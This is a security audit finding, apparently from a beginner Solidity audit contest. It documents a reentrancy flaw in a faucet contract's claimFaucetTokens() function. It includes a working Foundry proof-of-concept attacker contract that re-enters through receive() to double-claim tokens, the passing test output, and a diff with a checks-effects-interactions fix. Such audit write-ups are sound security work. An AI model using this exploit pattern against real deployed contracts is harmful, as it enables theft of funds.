Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy in claimFaucetTokens() Enables Cooldown Bypass and Double Claiming

Root + Impact

Description

The claimFaucetTokens() function is designed to allow users to claim 1,000 faucet tokens once every 3 days, with an optional 0.005 ETH drip on their first claim. The function enforces a cooldown period by checking lastClaimTime[faucetClaimer] and updates this timestamp at the end of the function to prevent repeated claims.

The function violates the Checks-Effects-Interactions (CEI) pattern by updating critical anti-reentrancy state variables (lastClaimTime and dailyClaimCount) after making an external ETH transfer to an untrusted address. This allows malicious contracts to re-enter claimFaucetTokens() during the ETH transfer callback, bypassing the cooldown check and claiming tokens twice in a single transaction.

function claimFaucetTokens() public {
faucetClaimer = msg.sender;
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
if (dailyClaimCount >= dailyClaimLimit) {
revert RaiseBoxFaucet_DailyClaimLimitReached();
}
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
if (block.timestamp > lastSepEthDripDay + 1 days) {
lastSepEthDripDay = block.timestamp;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
@> (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}(""); // External call to untrusted address
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
}
} else {
if (block.timestamp > lastSepEthDripDay + 1 days) {
lastSepEthDripDay = block.timestamp;
dailyDrips = 0;
}
}
if (block.timestamp > lastFaucetDripDay + 1 days) {
lastFaucetDripDay = block.timestamp;
dailyClaimCount = 0;
}
@> lastClaimTime[faucetClaimer] = block.timestamp; // State update AFTER external call
@> dailyClaimCount++; // State update AFTER external call
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}

Risk

Likelihood:

  • Any user can deploy a malicious contract with a receive() fallback function that re-enters claimFaucetTokens() during the ETH transfer

  • The vulnerability triggers automatically on the first claim when the contract sends 0.005 ETH to the caller's address

  • Exploitation requires only basic Solidity knowledge and costs less than $5 in gas fees

Impact:

  • Attackers claim double tokens (2,000 instead of 1,000) per transaction, directly stealing from the faucet reserves

  • The 3-day cooldown mechanism is completely bypassed, allowing attackers to drain tokens every 3 days instead of waiting between claims

  • Attackers can exhaust the daily claim limit (100 claims/day) by deploying multiple contracts, preventing legitimate users from accessing the faucet for 24-hour periods

  • At scale (50 attacker contracts), 100,000 tokens can be drained, degrading the faucet's intended purpose of distributing tokens to new users

Proof of Concept

The following proof of concept demonstrates how an attacker can exploit the reentrancy vulnerability to claim double tokens in a single transaction. The ReentrancyAttacker contract implements a receive() fallback function that re-enters claimFaucetTokens() when it receives the 0.005 ETH drip. Since lastClaimTime is not updated until after the external call, the second claim bypasses the cooldown check and succeeds.

The test case verifies that the attacker receives 2,000 tokens (2x the expected amount) and confirms that reentrancy occurred exactly once during the ETH transfer.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;
import {Test, console} from "forge-std/Test.sol";
import {RaiseBoxFaucet} from "../src/RaiseBoxFaucet.sol";
contract ReentrancyAttacker {
RaiseBoxFaucet public immutable faucet;
uint256 public attackCount;
constructor(address payable _faucet) {
faucet = RaiseBoxFaucet(_faucet);
}
function attack() external {
faucet.claimFaucetTokens();
}
receive() external payable {
if (attackCount == 0) {
attackCount++;
try faucet.claimFaucetTokens() {} catch {}
}
}
}
contract ReentrancyTest is Test {
RaiseBoxFaucet public raiseBoxFaucet;
address public owner = makeAddr("owner");
function setUp() public {
vm.prank(owner);
raiseBoxFaucet = new RaiseBoxFaucet(1_000_000e18);
vm.deal(address(raiseBoxFaucet), 100 ether);
}
function testReentrancyExploit() public {
// Deploy attacker contract
ReentrancyAttacker attacker = new ReentrancyAttacker(payable(address(raiseBoxFaucet)));
// Record initial balance
uint256 balanceBefore = raiseBoxFaucet.balanceOf(address(attacker));
console.log("Initial balance:", balanceBefore);
// Execute attack
attacker.attack();
// Record final balance
uint256 balanceAfter = raiseBoxFaucet.balanceOf(address(attacker));
uint256 expectedSingle = raiseBoxFaucet.faucetDrip();
console.log("Final balance:", balanceAfter);
console.log("Expected single claim:", expectedSingle);
console.log("Attack count:", attacker.attackCount());
// Verify double claim
assertEq(balanceAfter - balanceBefore, 2 * expectedSingle, "Should claim 2x tokens");
assertEq(attacker.attackCount(), 1, "Reentrancy occurred once");
}
}

OUTPUT :

Ran 1 test for test/RaiseBoxFaucet.t.sol:TestRaiseBoxFaucet
[PASS] testReentrancyExploit() (gas: 444314)
Logs:
Initial balance: 0
Final balance: 2000000000000000000000
Expected single claim: 1000000000000000000000
Attack count: 1
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.97ms


Recommended Mitigation

The vulnerability is fixed by restructuring the function to follow the Checks-Effects-Interactions (CEI) pattern. All state variables that control reentrancy protection (lastClaimTime, dailyClaimCount, and day rollover logic) are moved to execute before any external calls. The ETH transfer is deferred until the very end of the function, after all state updates and even after the token transfer.

This ensures that if an attacker attempts to re-enter during the ETH transfer, the cooldown check will fail because lastClaimTime has already been updated to the current block timestamp. Additionally, dailyClaimCount will have been incremented, preventing daily limit bypass.

function claimFaucetTokens() public {
faucetClaimer = msg.sender;
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
if (dailyClaimCount >= dailyClaimLimit) {
revert RaiseBoxFaucet_DailyClaimLimitReached();
}
+ // Update state BEFORE external calls
+ if (block.timestamp > lastFaucetDripDay + 1 days) {
+ lastFaucetDripDay = block.timestamp;
+ dailyClaimCount = 0;
+ }
+
+ lastClaimTime[faucetClaimer] = block.timestamp;
+ dailyClaimCount++;
+
+ // Determine if ETH drip is needed
+ bool shouldDripEth = false;
+ uint256 ethAmount = 0;
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
if (block.timestamp > lastSepEthDripDay + 1 days) {
lastSepEthDripDay = block.timestamp;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
-
- (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
- if (success) {
- emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
- } else {
- revert RaiseBoxFaucet_EthTransferFailed();
- }
+ shouldDripEth = true;
+ ethAmount = sepEthAmountToDrip;
}
} else {
if (block.timestamp > lastSepEthDripDay + 1 days) {
lastSepEthDripDay = block.timestamp;
dailyDrips = 0;
}
}
- if (block.timestamp > lastFaucetDripDay + 1 days) {
- lastFaucetDripDay = block.timestamp;
- dailyClaimCount = 0;
- }
-
- lastClaimTime[faucetClaimer] = block.timestamp;
- dailyClaimCount++;
_transfer(address(this), faucetClaimer, faucetDrip);
+
+ if (shouldDripEth) {
+ (bool success,) = faucetClaimer.call{value: ethAmount}("");
+ if (success) {
+ emit SepEthDripped(faucetClaimer, ethAmount);
+ } else {
+ revert RaiseBoxFaucet_EthTransferFailed();
+ }
+ }
emit Claimed(msg.sender, faucetDrip);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 11 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.